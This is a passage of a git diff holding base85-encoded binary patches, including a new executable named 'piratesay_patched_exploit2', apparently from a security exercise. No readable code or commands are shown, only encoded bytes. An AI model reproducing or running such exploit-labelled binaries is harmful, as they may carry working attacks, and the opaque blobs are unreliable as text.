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 UGy6RL+h4H^vdNF*Wfb!N2Y-@3MF0Q* literal 0 HcmV?d00001 diff --git a/documentation/piratesay_patched_exploit2 b/documentation/piratesay_patched_exploit2 new file mode 100755 index 0000000000000000000000000000000000000000..ccc69941923aa7ffad4d4e5cdfc264a987801a12 GIT binary patch literal 62056 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 